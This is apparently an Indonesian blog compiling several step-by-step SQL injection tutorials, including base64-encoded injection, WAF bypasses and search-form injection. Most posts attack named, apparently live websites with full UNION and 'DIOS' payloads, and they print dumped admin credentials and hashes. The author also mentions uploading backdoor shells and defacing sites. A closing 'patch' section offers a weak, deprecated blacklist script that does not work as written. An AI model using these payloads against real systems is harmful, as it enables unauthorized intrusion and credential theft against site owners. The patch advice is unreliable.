HEADLINE NEWS

Tutorial SQL Injection Base64 Encode Dan Decode - Android

By On 9:35:00 PM


Halo, Apakabar?

Melalui artikel kali ini, saya akan share mengenai tutorial base64 SQL Injection. Jika kita ketahui teknik ini sebenarnya mudah, seperti SQL Injection manual biasa dan dari kita hanya butuh kesabaran dalam eksekusi target.

Tutorial SQL Injection Base64

Dalam kasus ini, saya menggunakan Hp Android. Lalu apa aja bahan yang harus diperlukan? Simak penjelasan berikut ini.

1. Target
2. Tools Base64 Encode dan Decode

-Target

DISCLAIMER: Untuk live target yang saya berikan, mohon untuk jangan dirusak cukup jadikan sebagi bahan pembelajaran.

Nah, untuk target sebagai bahan pembelajaran, saya sudah menyiapkan untuk kamu coba test sendiri, berikut targetnya.

http://www.hindustanforge.co.in/sub_product.php?id=MTM=

-Tools Base64 Encode/Decode

Jadi untuk type SQL Injection ini kita harus membutuhkan tools untuk encode/decode dan saya sudah menyiapkan semuanya.

https://www.base64decode.org/

Yasudah daripada kamu sudah penasaran, tanpa berlama-lama langsung saja kita ke point pembahasanya saja, yuk lestgoo.

Tutorial SQL Injection Base64


Untuk yang pertama, tadi target saya seperti ini.

http://www.hindustanforge.co.in/sub_product.php?id=MTM=

Kemudian kita Decode terlebih dahulu dan menjadi seperti ini,

http://www.hindustanforge.co.in/sub_product.php?id=13

Buat yang belum mengerti cara decodenya gimana? Berikut caranya.

1. Buka Website Base64 Decode and Decode
2. Kemudian salin berikut ini MTM=
3. Lalu pastekan kode MTM= ke kolom tersebut
4. Selanjutnya tekan tombol <DECODE>

Paham kan? Jika belum coba lihat gambar berikut ini,

Base64 Website Sqli

Step 1: Cek Vuln Pada Target

Sekarang mari kita cek terlebih dahulu apakah website tersebut vuln sql injection atau tidak dengan menggunakan perintah tanda petik satu '

http://www.hindustanforge.co.in/sub_product.php?id=13'

Kita Encode dulu, maka jadinya.

http://www.hindustanforge.co.in/sub_product.php?id=MTMn

Setelah itu jalankan, dan teryata benar bahwa website tersebut vuln sqli karena setelah saya menambahkan tanda petik ' lalu diencode content pada website tersebut hilang.

Error Sql Injection Base64

Apakah ini benar-benar vuln? Sekarang untuk memastikannya bisa di injeksi atau tidak, kita lakukan comment atau balancing dibelakang tanda ' (istilahnya menggembalikan website ke tampilan semula) dengan menggunakan tanda -- -

http://www.hindustanforge.co.in/sub_product.php?id=13'-- -

Dan jangan lupa kita Encode terlebih dahulu, maka akan seperti ini,

http://www.hindustanforge.co.in/sub_product.php?id=MTMnLS0gLQ==

Fixed Error Sql Injection Base64

Website pun kembali ke tampilan semula atau normal, oke fix!

Step 2: Mencari Jumlah Table

Seperti biasanya, untuk mencari atau menghitung jumlah table yang ada didalam website tersebut, kamu bisa menggunakan perintah order by dan sampai muncul diangka berapa terdapat error tersebut.

Kita coba 1, tetapi masih normal
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 1-- -

Kita Encode pake tools base64 online tadi, maka jadinya,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDEtLSAt

Kita coba 5, dan masih normal
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 5-- -

Jangan lupa di Encode,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDUtLSAt

Kita coba 10, oh ternyata error
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 10-- -

Encode,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDEwLS0gLQ==

Kita coba angka 9
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 9-- -

Lalu kita Encode,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDktLSAt

Setelah saya jalankan, hasilnya website tersebut normal kembali. Berarti bisa kita pahami kalau jumlah table atau kolom hanya ada sampai 9 saja.

Step 3: Mencari Angka Ajaib

Langkah selanjutnya adalah mencari angka ajaib atau magic number dengan menggunakan union select. Ingat ya, tambahkan tanda - dibelakang = supaya angka ajaibnya muncul.

http://www.hindustanforge.co.in/sub_product.php?id=-13' union select 1,2,3,4,5,6,7,8,9-- -
Jangan lupa di Encode, maka hasilnya

http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDktLSAt

Waf Forbidden SQL Injection Base64

Setelah saya jalankan, disini ternyata union atau selectnya terkena WAF 403 Forbidden ah sialan, semoga waf ini bypassnya tidak rumit karena hanya akan bikin pusing.

Kita coba bypass waf tersebut seperti ini,
http://www.hindustanforge.co.in/sub_product.php?id=-13' /*!50000union*/ select 1,2,3,4,5,6,7,8,9-- -

Kita Encode,
http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsMiwzLDQsNSw2LDcsOCw5LS0gLQ==

Apakah WAF 403 Forbidden tersebut berhasil kita bypass? Setelah itu jalankan untuk melihat hasil output tersebut.

Waf Forbidden Bypassed

Oke mantap, waf sudah berhasil kita bypass artinya permasalahannya selesai. Disini angka ajaib website tersebut muncul angka 2.

Selanjutnya adalah kita akan dump username dan password website tersebut dengan menggunakan DIOS (Dump In One Shoot) simak caranya dibawah ini.


Step 4: Mencari Username dan Password

Untuk proses dump username dan password, disini saya menggunakan DIOS By Zen.

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Kira-kira seperti berikut ini caranya dump dengan menggunakan dios,

http://www.hindustanforge.co.in/sub_product.php?id=-13' /*!50000union*/ select 1,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),3,4,5,6,7,8,9-- -

Jangan lupa di Encode dulu ya gaes,

http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx0YWJsZV9uYW1lLGNvbHVtbl9uYW1lKSksQCksMyw0LDUsNiw3LDgsOS0tIC0=

Setelah saya jalankan tampilan website tersebut seperti berikut ini,

Dump Database Sql Injection Base64

Apa yang kamu lihat? Setelah kita masukan dios malah berantakan tablennya, tentunya ini akan sedikit menggangu proses mencari column admin, nah untuk mengakalinya tambahkan view-source diawal url seperti berikut ini,

view-source:http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx0YWJsZV9uYW1lLGNvbHVtbl9uYW1lKSksQCksMyw0LDUsNiw3LDgsOS0tIC0=

Dump Database Sql Injection Base64

Nah kalau seperti kan lebih enak yakan? Hehe.

Baiklah, selanjutnya sekarang mencari username dan password website tersebut. Pada target disini nama columnnya adalah login dan didalam table login terdapat nama seperti id, username, dan password.

Dump Username dan Password with Dios

Disini saya ambil username dan passwordnya saja, nah jika kita masukan pada dios tersebut kurang lebih akan seperti ini caranya.

http://www.hindustanforge.co.in/sub_product.php?id=-13' /*!50000union*/ select 1,make_set(6,@:=0x0a,(select(1)from(login)where@:=make_set(511,@,0x3c6c693e,username,password)),@),3,4,5,6,7,8,9-- -

Oiya seperti biasanya kita Encode dulu, maka jadinya seperti ini,

http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGxvZ2luKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx1c2VybmFtZSxwYXNzd29yZCkpLEApLDMsNCw1LDYsNyw4LDktLSAt

Setelah itu jalankan, maka hasilnya akan seperti berikut ini,

Berhasil Dump Username dan Password dengan Dios by Zen

Hasil output tersebut adalah,
Username: HIN@2017
Password: HIN@2017

Dump username dan password berhasil. Ya kalau sudah begini, tinggal cari admin loginnya saja wkwkwk.

Selesai juga akhirnya...

Nah oke, mudah bukan tutorialnya?
Ya emang seperti inilah SQL Injection base64, sama seperti tutorial sql injection manual biasa tapi yang membedakannya disini adalah querynya terlebih dahulu harus kita convert ke base64.

Akhir kata, semoga tutorial SQL Injection Base64 yang saya tulis ini dapat bermanfaat buat teman-teman semuanya.

Semoga suka, Terimakasih ya!

Tutorial SQL Injection Bypass 418 Unused

By On 8:13:00 AM


Seperti biasa, saya ingin menyapa dulu, Halo apa kabar?

Jika kita ketahui, dimana saat dalam melakukan serangan SQL Injection terkadang ada aja beberapa query atau syntax yang dibatasi dari penggunaanya, jelas hal ini tentunya terkadang menyusahkan seorang attacker dalam melakukan aksinya.

Cara Bypass Sql Injection Unused

Nah, melalui artikel kali ini saya ingin sharing tentang bagaimana sih cara bypass SQL Injection 418 Unused, dimana WAF ini tiba-tiba muncul saat saya sedang melakukan uji coba SQL Injection pada website target saya wkwkk.

Apa itu WAF?


Web Application Firewall atau juga dikenal dengan istilah WAF adalah sebagai security pada website yang berguna untuk keamanan umum. Nah, WAF ini dapat melindungi website dari serangan seperti SQL Injection, XSS, DDOS dan lain sebagainya.

Tidak heran apabila website yang kita kunjungi sekarang terkadang ada WAF, karena memang dibutuhkan guna untuk melindungi data-data penting yang ada pada website tersebut.

Maaf kalau penjelasan dari WAF ini kurang jelas, sekarang mari kita lanjut aja, lesgooo...

STEP 1: Target Website Vuln SQL Injection


Disini saya tidak akan memberikan live target aslinya, dikarenakan saya takut terjadi hal-hal yang tidak diinginkan pada website tersebut, nanti malah saya yang kena.

Ya, anggap aja website contoh target saya endpointnya seperti berikut ini:

http://contoh.com/page.php?ID=15

Kamu bisa mencari target website vuln sql injection dengan menggunakan dorking sqli yang sudah bertebaran diinternet atau mungkin bisa dengan menggunakan dork racikan kamu sendiri biar lebih dapat yang fresh.

Jika sudah dapat target vuln sql injection dan tidak menemukan waf 418 unused sql injection tidak apa-apa, malah hal seperti ini jujur saya lebih suka karena tidak adanya waf tidak juga terlalu buang waktu hanya untuk melakukan bypass waf wkwkk.

STEP 2: Melakukan Injeksi dan Balancing


Sekarang saya ingin melakukan injeksi pada target saya dengan menggunakan perintah tanda ' (petik) dibelakangnya, apakah error atau tidak.

Dan benar saja, ternyata setelah saya melakukan injeksi pada web tersebut memang tidak menampilkan kata error sql injection pada umumnya tapi hanya content tersebut hilang, berarti bisa dibilang kalau itu vuln sqli bukan?

Vulnerability SQL Injection

Untuk memastikan website tersebut benar-benar vuln sqli atau tidak, saya melakukan comment/balancing dengan menggunakan tanda seperti ini --+ (double dash plus) pada akhiran payload.

Apa yang terjadi? Content yang tadinya hilang, sekarang muncul kembali setelah saya melakukan balancing, fix berarti website ini vulnerability terhadap serangan sql injection.

STEP 3: Menentukan Jumlah Columns


Apa yang saya lakukan selanjutnya adalah mentukan jumlah kolom dari table yang ada dalam database. Untuk itu saya menggunakan perintah order by dan sampai menemukan kira-kira diangka keberapa terdapat error.

url/page.php?ID=15' order by 1--+ Normal
url/page.php?ID=15' order by 2--+ Normal
url/page.php?ID=15' order by 5--+ Normal
url/page.php?ID=15' order by 10--+ Normal
url/page.php?ID=15' order by 15--+ Normal
url/page.php?ID=15' order by 19--+ Error

Pada website target tersebut diangka 19 ternyata error, berarti itu tandanya kalau jumlah kolom hanya ada 18.

STEP 4: Mencari Angka Ajaib


Kemudian saya mencari magic number atau disebut juga dengan angka ajaib dengan cara menggunakan perintah union select pada payload kita, seperti ini.

url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+

Hal ini kamu bisa sesuaikan sendiri dengan jumlah table yang kamu temukan ya, dan jangan lupa dikasih tanda - (minus) dibelakang tanda = (sama dengan) ya.

Nah selain parameter tanda minus - ini untuk memunculkan angka ajaibnya kamu bisa menggunakan parameter yang lain seperti . , div+0 , and+false , having+0 , limit 0 , dan lain sebagainya.

Setelah saya jalankan, kemudian output yang muncul disini angka ajaibnya adalah 2,5,11,15.

Magic Number

Oke, selanjutnya saya bisa menggunakan salah satu dari angka yang muncul tersebut untuk melakukan tahap selanjutnya, yaitu dump database menggunakan DIOS biar tidak ribet.

STEP 5: Dump Database Dengan DIOS


Tahu DIOS? Dump In One Shot tunjuanya untuk memunculkan semua table, columns dari database website tersebut hanya menggunakan satu query, mau manual atau with dios? Itu terserah deh.

Awalnya Darisini WAF Itu Muncul!

Setelah saya jalankan untuk ngedump database dengan menggunakan DIOS by Zen tiba-tiba WAF 418 Unused tersebut muncul. Kok bisa ya? Awalnya saya binggung iki opo sih tapi saya punya ide untuk membypass waf tersebut soalnya dulu juga pernah diajari.

DIOS by Zen kena WAF 418 Unused:
url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),12,13,14,15,16,17,18--+

SQL Injection Bypass Unused


Lalu bagaimana cara bypassnya?
Pertama saya mengganti semua kode Hex/0x tersebut yang terdapat pada DIOS Zen, berikut kodenya yang terblokir oleh waf 418 unused:

0x0a
0x3c6c693e

Jika kode tersebut kita konversi dari Hexadecimal ke Text maka kurang lebih hasil output akan seperti berikut ini:

0x0a = :
0x3c6c693e = <li>

Jadi untuk membypass waf 418 unused tersebut, didalam DIOS tidak boleh ada menggunakan kode Hex/0x, untuk mengakalinya saya bisa menggunakan single quotes 'value' jadi DIOS nya akan seperti ini:

url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=':',(select(1)from(information_schema.columns)where@:=make_set(511,@,'<li>',table_name,column_name)),@),12,13,14,15,16,17,18--+

Setelah saya jalankan dan boom ternyata berhasil, oke waf bypassed *mrsasenang

Sukses Bypass Sql Injection Unused

Gimana pahamkan? Jangan pusing gaes.
Kesimpulanya Gini:
WAF 418 Unused ini mengeblok 0x0a, 0x3c6c693e pokonya yang awalanya ada 0x pada DIOS tersebut.
Untuk melakukan bypass gunakan single quotes 'value' ya.

Oiya buat yang nanya website untuk konversi dari Hexadecimal ke Text itu dimana, nih webnya Text to Hex Converter

STEP 6: Dump Database Username dan Password


Pastinya kamu sudah paham soal ini, ya gampang sih tinggal mencari table dan columns yang sekiranya itu berhubungan dengan username, password admin aja. Contoh misal users, web_admin, dan lain sebagainya.

Dump Database dengan DIOS

Saya sudah nemu, nah disini nama columnsnya adalah utenti_amministrazione kemudian pada table terdapat ind_id, text_user, txt_password dan lain sebagainya. Saya ambil bagian txt_user dan txt_password aja.

Kira-kira kalau kita gabungkan pada DIOS dan saya tambahkan query sedikit biar tidak itu-itu aja, maka selengkapnya akan seperti berikut ini:

url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=':',(select(1)from(utenti_amministrazione)where@:=make_set(511,@,'<li>',txt_user,txt_password)),@),12,13,14,15,16,17,18--+

Ya habis itu tinggal jalankan, maka username dan password akan muncul sperti pada gambar berikut ini:

Username: admin
Password: 5c715681dccb4d75c49034fb7894ec67

DIOS SQLI

Yasudah lah ya, kalau udah gitu ya tinggal kamu mau apakan, Laporkan? Deface? Itu silahkan terserah kamu, tapi saya punya saran jangan dideface deh kasihan juga sebenarnya.

Semoga apa yang sudah saya tulis ini dapat membantu dan berguna bagi kalian semua, mohon maaf jikalau ada kata/penjelasan yang kurang dimengerti maupun yang lainya mohon untuk diluruskan ya, dan disini saya bukan pRo apalah saya ini hehe.

Jika ada yang ingin ditanyakan, silahkan tanyakan saja dikolom komentar dibawah ini, sekiranya saya bisa saya akan bantu jawab.

Sekian artikel kali ini, tentang Tutorial SQL Injection Bypass 418 Unused semoga bermanfaat.

Terimakasih, maturnuwun atas waktunya. Yukkk let's drink some coffee :)

Tutorial SQL Injection di Form Search Pada Website

By On 11:06:00 AM


Halo, Apa kabar?

Oke, melalui artikel kali ini saya ingin sharing tentang tutorial SQL Injection di Form Search Pada Website, bagi yang belum pernah tahu kedengaranya sangat unik ya? Hehe.

Image: SQL Injection Form Search Bar

Mungkin disini teman-teman sudah tahu apa itu SQL Injection? Jika sudah tahu bagus deh. Nah, bagi yang belum tahu mari kita simak penjelasannya berikut ini.

Apa itu SQL Injection?


SQL Injection adalah sebuah teknik yang menyalahgunakan celah keamanan yang ada pada lapisan basis data sebuah aplikasi. Celah ini terjadi ketika input dari pengguna tidak disaring dengan secara benar, misal contohnya seperti pada kotak pencarian yang seharusnya hanya diisi dengan huruf tapi malah diisi dengan karakter lain, seperti tanda (-=') sehingga penyerang dapat menggunakan celah tersebut dengan memasukan query SQL Injection tersebut.

Jadi dampaknya, kurang lebih penyerang bisa mendapatkan data-data penting, ya contohnya seperti username/password dari website tersebut dan lain sebagainya.

Yasudah, sekarang kita lanjut ke tutorial selanjutnya aja daripada ini itu hehe, yuk mari kita simak.

Step 1: Mencari Vulnerability SQL Injection Pada Form Search


Kamu bisa menggunakan dork untuk mencari websitenya. Contoh target saya adalah:

http://bukanygasli.com/search.php?cari=

Image: SQL Injection Vulnerability Search Fields

Kemudian saya iseng mencoba menginput test' dibagian form search atau kotak pencarian, dan apa yang terjadi? Setelah saya tekan enter pada website tersebut muncul sebuah error sql injection syntax.

SQL Injection Error Syntax

Disini saya ingin mencoba mengembalikan website ke semula, dengan melakukan comment atau balancing pada payload kita.
Saya mencoba comment dengan double dash -- tapi masih error, lalu saya coba lagi dengan balancing --+ dan website normal kembali artinya sudah ketemu hehe.

Perlu Kamu Ketahui:
Comment/Balancing disini tidak bisa dilakukan sembarangan lo ya, jika ditutorial ini menggunakan balancing --+ belum tentu diwebsite yang kamu coba exploitasi juga harus sama balancingnya, intinya sih tidak semua harus menggunakan balancing ini --+ ya, bisa dengan menggunakan yang lain.
Nah, berikut daftar balancing yang sering digunakan:

Daftar Balancing/Comment SQL Injection

Step 2: Menentukan Jumlah Columns


Setelah ketemu balancingnya, selanjutnya menentukan berapa jumlah kolom dari table yang ada dalam database tersebut. Caranya dengan menggunakan perintah order by dan menemukan diangka berapa terdapat error.

url/search.php?cari=test' order by 1--+ Normal
url/search.php?cari=test' order by 5--+ Normal
url/search.php?cari=test' order by 11--+ Error

SQL Injection Order By

Pada target saya, error muncul pada angka ke 11 berarti jumlah kolom hanya ada 10.

Step 3: Mencari Magic Number


Langkah selanjutnya mencari magic number atau biasanya disebut juga "angka ajaib" dengan menggunakan perintah union select, berikut payloadnya.

url/search.php?cari=test' union select 1,2,3,4,5,6,7,8,9,10--+

Kamu bisa sesuaikan sendiri dengan jumlah table yang kamu temukan ya, dan ingat selalu tambahkan tanda - dibelakang = jadi lengkapnya seperti ini.

url/search.php?cari=-test' union select 1,2,3,4,5,6,7,8,9,10--+

Setelah saya jalankan, disini output yang muncul adalah angka 1,4,7.

SQL Injection Magic Number

Berarti itu artinya kita bisa menggunakan dari salah satu angka yang muncul tersebut untuk lanjut ke langkah berikutnya hehe.

Step 4: Langsung Pakai DIOS


Btw DIOS itu artinya Dump In One Shot sehingga tujuanya adalah untuk memunculkan semua table dan columns dari database website tersebut hanya menggunakan 1 query.

Sebenarnya untuk hal ini bisa dengan manual atau kalo yang tidak mau ribet ya mungkin bisa pake DIOS aja hehe.

Disini saya menggunakan DIOS by Zen:
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Jadi untuk menempatkan DIOS tersebut saya pilih pada angka 4 maka urlnya akan seperti berikut.

url/search.php?cari=-test' union select 1,2,3,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),5,6,7,8,9,10--+

Lalu jalankan, disini outputnya akan seperti pada gambar berikut.

SQL Injection with DIOS (Dump In One Shot)

Step 5: Mencari Username/Password


Jika sudah berhasil melakukan injeksi dengan DIOS langkah selanjutnya yaitu kita bisa mencari data-data penting seperti username,password,email dan lain sebagainya (tergantung tujuan kamu sih ini).

Nah, bagaimana caranya? Contoh misalnya saya ingin mencari username dan password dari website target saya. Maka yang saya lakukan adalah mencari table dan columns yang sekiranya berhubungan dengan username dan password admin. Biasanya table dan columns tersebut ada dibagian paling bawah (terkadang berbeda juga) tinggal scroll kebawah aja sampai ketemu.

Dump Username or Password - SQL Injection


Sudah ketemu, disini name columnnya users dan tablenya adalah id_users,id_session,email,password,password_asli dan lain sebagainya. Sesuai tujuan saya untuk mencari user/pass berarti yang kita masukan ke DIOS nya adalah email,password,password_asli.

Jadi jika digabungkan akan seperti ini DIOS nya.

url/search.php?cari=-test' union select 1,2,3,make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3c6c693e,email,password,password_asli)),@),5,6,7,8,9,10--+

Habis itu tinggal diklik enter, maka hasil outpunya seperti ini.

email: namaemail.com
password (MD5): e2ae099c177f89eadf359e51a2ab4e9de745adc2
password_asli: tbpassword

Hasil Dump Username dan Password SQL Injection

Yup akhirnya selesai juga, habis itu ya tinggal mencari admin login (kalo nemu) kemudian upload shell backdoor (kalo bisa) terus mirrorkan ke Zone-h hehe. Tapi saya sarankan jangan di deface/hack laporkan aja ke admin website tersebut siapa tahu dapat reward, jika tidak ada tanggapan ya terserah kamu deh wkwkk.

Oiyaa sebelum pamitan, disini saya hanya memberikan apa yang memang saya pelajari tentang SQL Injection Form Search. Kalau ada penjelasan ini kurang dimengerti mohon dimaklumi ya dan kalau penjelasan saya ada yang salah juga mohon untuk diluruskan hehe.

Demikian artikel sederhana dari saya kali ini, ingat ya tujuanya hanya untuk sekedar edukasi, semoga bermanfaat bagi kalian semua.

Sekian dan maturnuwun, enjoy!

Bypassing Sql Injection Redirect

By On 6:36:00 PM

Hmm, mumpung lagi ga ada kerjaan nih. Pada kesempatan kali ini gw mau sharing tutorial mengenai sqli yaitu Bypassing Sql Injection Redirect.

Mungkin kalian saat ini sedang mengalami hal seperti ini? Oke mari kita selesaikan problemnya.

Ok lanjut.
Gw udah punya target contoh,
http://site.com/index.php?id=6

Lanjut menginjeksinya.
Sekarang kita akan mencari berapa jumlah column datasbase site tersebut dengan menambahkan perintah order by, tambahkan tanda + untuk spasi. Jadi perintah lengkapnya seperti ini

http://site.com/index.php?id=6+order+by+1-- -

Tapi disini gw saat menambahkan perintah order+by malah site ke redirect. Oke kita bypass seperti ini,

order/**_**/by 1-- - [bypass done]

Setelah bypass berhasil, lalu ganti angka 1 ke angka 2 dan seterusnya sampai menemukan error.
Disini gw menemukan errornya diangka ke 5, berarti jumlah column database ada 4.

Lanjut.
Sekarang masukan perintah union select, ganti order+by dengan union+select+1,2,3,4-- - dan sebelum angka dibelakang url tersebut tambahkan tanda -
Jadi perintah lengkapnya seperi ini,

http://site.com/index.php?id=-6+union+select+1,2,3,4-- -

Lagi-lagi setelah menganti perintah order+by ke perintah union+select site ke redirect, hmmm mari kita bypass

union/**_**/select 1,2,3,4-- - [bypass done]

Setelah bypass sukses, maka nanti akan mendapatkan sebuah angka, dan gw disini dapat angka 2.

Lanjut.
Sekarang coba kita lihat user, database, dan version site tersebut, dengan perintah seperti berikut ini

http://site.com/index.php?id=-6 union/**_**/select 1,user(),0x3a,database(),0x3a,version(),3,4-- -

Hmm ternyata kena redirect lagi, kita bypass lagi seperti berikut ini

user/**_**/(),database/**_**/(),version/**_**/() [bypass done]

Selanjutnya tinggal didump username dan passwordnya.
Sekian dari gw dan semoga bermanfaat.

Cara Patch Bug Sql Injection Agar Terhindar Serangan Hacker

By On 7:42:00 AM

Setelah lama ga ngeblog karena kesibukan didunia nyata, dan mumpung agak selo pada kesempatan kali ini gw mau berbagi tutorial Cara Patch Bug Sql Injection  biar website aman dari serangan Hacker

Kalian tau apa itu Sql Injection? agar kalian paham, mari kita bahas sedikit penjelasan tentang sql injection.

Sql Injection adalah suatu teknik hacking yang digunakan oleh penyerang/attacker untuk mendapatkan sebuah database dengan menyisipkan perintah-perintah Sqli melalui url yang memanfaatkan bug yang disebabkan oleh kesalahan coding atau kurang pemfilteran pada variabel tersebut.

Oke demikian sedikit penjelasan mengenai Sql Injection.
Selanjutnya mari kita simak ketutorial cara mempatch bug sql injectionnya.

Yang pertama, buka text editor, notepad++, dll atau apalah sesuai kesukaan kalian, lalu copy script dibawah ini.

<?
if (ereg("%20union%20", $_
GET['id'])||ereg("union",$_
GET['id']) || ereg("\*union\*",$_
GET['id']) || ereg("\+union\+",
$_GET[id]) || ereg("\*",$_
GET['id']))
{
ob_start();
header("location: index.php"); //bisa
 diganti sesuai selera masing-masing
ob_flush();
}
?>

Kemudian paste script diatas kedalam notepad, dll, lalu simpan dengan nama contoh disini gw namain patch.php atau terserah kalian.

Selanjutnya, upload file patch.php tadi kedalam Directory Website melalui file manager pada Cpanel kalian.
Uploadnya harus difolder /public_html/  ( harus satu folder dengan index )

Langkah selanjutnya adalah buka url yang ada error sqlinya. Contoh:

http://maqlo-heker.blogspot.com/artikel.php?id=10

Berarti yang error diatas file artikel.php jadi yang diedit file artikel.php

Kemudian masukan code berikut ini kebarisan code file artikel.php dan letakan dibawah.

include 'patching.php';

Langkah terakhir, kemudian save dan lihat hasilnya.

Kadang saya kalo habis defacing dengan method sql injection sering juga patch bugnya. Alesanya ya kasihan juga dan itung-itung buat ngasah skill gitu.

Sekian artikel kali ini ya gaes, maaf nih kalo ada penjelasan yang kurang dimengerti nanti bisa diskusi di kolom komentar. Terimakasih.

Cara Bypass Sql Injection 403 Forbidden

By On 1:37:00 AM


Mumpung ada target nih, di postingan kali ini gw mau ngejelasin tutorial bagaimana Cara Bypass Sql Injection 403 Forbidden.

Oke langsung saja, disini gw udah ada target dan berikut target gue,
https://tisplanet.com/service-item.php?id=3

Di penjelasan kali ini gw ga akan ngejelasin sedetail mungkin.
Karena ditutorial ini mungkin kalian sudah pada paham basic sqli, jadi langsung ke inti permasalahannya saja ya.

Oke baiklah kita lanjutkan, gw asumsikan udah ke tahap union+select
Gue disini setelah melakukan order+by untuk mendapatkan jumlah column dan ketika mau masukan query union+select ternyata malah kena security waf 403 Forbidden.


Untuk cara bypassnya cukup kita menambahkan beberapa karakter mysql-comments. Di target gw disini yang kena waf di union+select jadi kita tinggal menambahkan beberapa karakter mysql-comments,

Contoh,
union+select
Kita tambahkan mysql-commentsnya jadi,

/*!union*/+/*!select*/
/*!12345union*/+/*!12345select*/

Nahh jadi contohnya seperti ini,

https://tisplanet.com/service-item.php?id=-3'+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8--+

Lihat digambar dibawah ini, bypassed.


Terus kalo udah tau angka magicknya yang keluar, selanjutnya tinggal masukan diosnya. Gue pilih angka 4 untuk dikasih dios berikut perintah lengkapnya,

https://tisplanet.com/service-item.php?id=-3'+/*!union*/+/*!select*/+1,2,3,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),5,6,7,8--+

Kena 403 Forbidden lagi anjirr mari kita bypass.


Oke berarti yang harus dibypass adalah diosnya, karena tadi pas mau dikasih dios malah kena waf 403 forbidden.

Untuk bypass diosnya sama seperti waktu bypass union+select tinggal menambahkan karakter mysql-comments. Lebih jelasnya seperti ini,

https://tisplanet.com/service-item.php?id=-3'+/*!union*/+/*!select*/+1,2,3,/*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!12345table_name*/,/*!12345column_name*/)),@),5,6,7,8--+


Bypass sukses, lihat gambar diatas gan.

Selanjutnya tinggal ngedump username beserta passwordnya seperti ini,

https://tisplanet.com/service-item.php?id=-3'+/*!union*/+/*!select*/+1,2,3,/*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345admin_login*/)where@:=make_set(511,@,0x3c6c693e,/*!12345username*/,/*!12345password*/)),@),5,6,7,8--+


Nah tuh keluar user dan passnya tapi password masih terenkripsi jenis md5, jadi harus dicrak atau hash biar bisa mengetahui password yang aslinya.

Oke sekian dulu dari gue, semoga bermanfaat.

Cara Bypass Sqli 412 Precondition Failed

By On 6:30:00 PM

Oke pada kesempatan kali ini gw mau sharing tutorial Cara Bypass Sqli 412 Precondition Failed.

Pernah gasih kalian pada saat melakukan inject suatu website gatau kenapa tiba-tiba kena WAF sama seperti halnya yang gw alamin saat ini yaitu kena waf 412 precondition failed.

Pasti pernah kan? Apalagi kalo kalian kena wafnya sama kek gw, cocok banget jadi sekarang kita bahas aja bagaimana cara mengatasinya, simak dibawah ini.

Disini gw udah dapat target yang mau di eksekusi atau di bypass, dan ini live targetnya,

http://www.cruiseland.in/houseboat-package-detailed.php?id=5

Selanjutnya langsung saja kita masukan order+by+1-- dan sampai menemukan errornya.
Disini gw mendapatkan errornya diangka 11 berarti jumlah columnnya ada 10.


Oke, lanjut ke step berikutnya ya itu mencari angka magicknya dengan memasukan query union+select+1,2,3-- dan seterunya sampai angka 10 seperti berikut ini,

http://www.cruiseland.in/houseboat-package-detailed.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10--

Dan disini gw mendapatkan angka magicknya 2 dan 5 lebih jelasnya bisa dlihat gambar bawah ini,


Setelah kita mendapatkan angka magicknya, sekarang kita tinggal masukan dios. Disini gw masukin diosnya diangka 5 seperti berikut ini,

http://www.cruiseland.in/houseboat-package-detailed.php?id=-5+union+select+1,2,3,4,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),6,7,8,9,10--



